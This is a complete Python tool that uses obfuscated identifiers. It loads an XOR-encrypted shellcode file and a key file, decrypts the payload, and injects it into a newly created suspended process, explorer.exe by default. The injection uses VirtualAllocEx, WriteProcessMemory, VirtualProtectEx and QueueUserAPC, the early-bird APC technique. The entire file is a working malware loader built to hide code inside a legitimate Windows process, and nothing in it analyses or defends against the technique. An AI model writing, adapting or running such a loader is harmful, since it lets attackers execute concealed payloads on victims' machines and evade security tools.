import ctypes as _a, sys as _b, os as _c
from ctypes import wintypes as _d

class _e(_a.Structure):
    _fields_ = [
        ('cb', _d.DWORD), ('lpReserved', _d.LPSTR), ('lpDesktop', _d.LPSTR),
        ('lpTitle', _d.LPSTR), ('dwX', _d.DWORD), ('dwY', _d.DWORD),
        ('dwXSize', _d.DWORD), ('dwYSize', _d.DWORD), ('dwXCountChars', _d.DWORD),
        ('dwYCountChars', _d.DWORD), ('dwFillAttribute', _d.DWORD),
        ('dwFlags', _d.DWORD), ('wShowWindow', _d.WORD), ('cbReserved2', _d.WORD),
        ('lpReserved2', _d.LPBYTE), ('hStdInput', _d.HANDLE),
        ('hStdOutput', _d.HANDLE), ('hStdError', _d.HANDLE)
    ]

class _f(_a.Structure):
    _fields_ = [
        ('hProcess', _d.HANDLE), ('hThread', _d.HANDLE),
        ('dwProcessId', _d.DWORD), ('dwThreadId', _d.DWORD)
    ]

def _g(h, i):
    # XOR function with proper parenthesis handling
    repeat_key = (i * ((len(h) // len(i)) + 1))[:len(h)]
    return bytes([j ^ k for j, k in zip(h, repeat_key)])

def _k(payload, target=b'explorer.exe'):
    kernel32 = _a.WinDLL('kernel32', use_last_error=True)
    si, pi = _e(), _f()
    si.cb = _a.sizeof(si)

    # Create process in suspended state
    if not kernel32.CreateProcessA(None, target, None, None, 0, 0x4, None, None, _a.byref(si), _a.byref(pi)):
        print(f"[!] CreateProcessA failed: {_a.GetLastError()}")
        return False

    size = len(payload)
    addr = kernel32.VirtualAllocEx(pi.hProcess, None, size, 0x3000, 0x04)  # RW memory

    if not addr:
        print(f"[!] VirtualAllocEx failed: {_a.GetLastError()}")
        return False

    written = _a.c_size_t(0)
    if not kernel32.WriteProcessMemory(pi.hProcess, addr, payload, size, _a.byref(written)) or written.value != size:
        print(f"[!] WriteProcessMemory failed: {_a.GetLastError()}")
        return False

    old_protect = _d.DWORD(0)
    if not kernel32.VirtualProtectEx(pi.hProcess, addr, size, 0x20, _a.byref(old_protect)):
        print(f"[!] VirtualProtectEx failed: {_a.GetLastError()}")
        return False

    if kernel32.QueueUserAPC(addr, pi.hThread, 0) == 0:
        print(f"[!] QueueUserAPC failed: {_a.GetLastError()}")
        return False

    kernel32.ResumeThread(pi.hThread)
    kernel32.CloseHandle(pi.hThread)
    kernel32.CloseHandle(pi.hProcess)
    return True

def _t():
    parser = __import__('argparse').ArgumentParser()
    parser.add_argument('-i', '--input', required=True, help='Encrypted shellcode file')
    parser.add_argument('-k', '--key-file', required=True, help='Key file (contains key and IV)')
    parser.add_argument('-p', '--process', default='explorer.exe', help='Target process to inject into')

    args = parser.parse_args()

    if not _c.path.isfile(args.input) or not _c.path.isfile(args.key_file):
        print("[!] Input or key file not found.")
        _b.exit(1)

    # Load shellcode and keys
    with open(args.input, 'rb') as f:
        encrypted = f.read()

    with open(args.key_file, 'r') as f:
        lines = [line.strip() for line in f if ':' in line]
        if len(lines) != 2:
            print("[!] Invalid key file format.")
            _b.exit(1)

        try:
            key = bytes.fromhex(lines[0].split(':')[1].strip())
            iv = bytes.fromhex(lines[1].split(':')[1].strip())
        except Exception as e:
            print(f"[!] Failed to parse key or IV: {e}")
            _b.exit(1)

    # Decrypt twice: first with IV, then with key
    decrypted = _g(_g(encrypted, iv), key)

    # Inject
    if not _k(decrypted, args.process.encode()):
        print("[!] Injection failed.")
        _b.exit(1)
    else:
        print("[+] Injection successful.")

if __name__ == '__main__':
    _t()
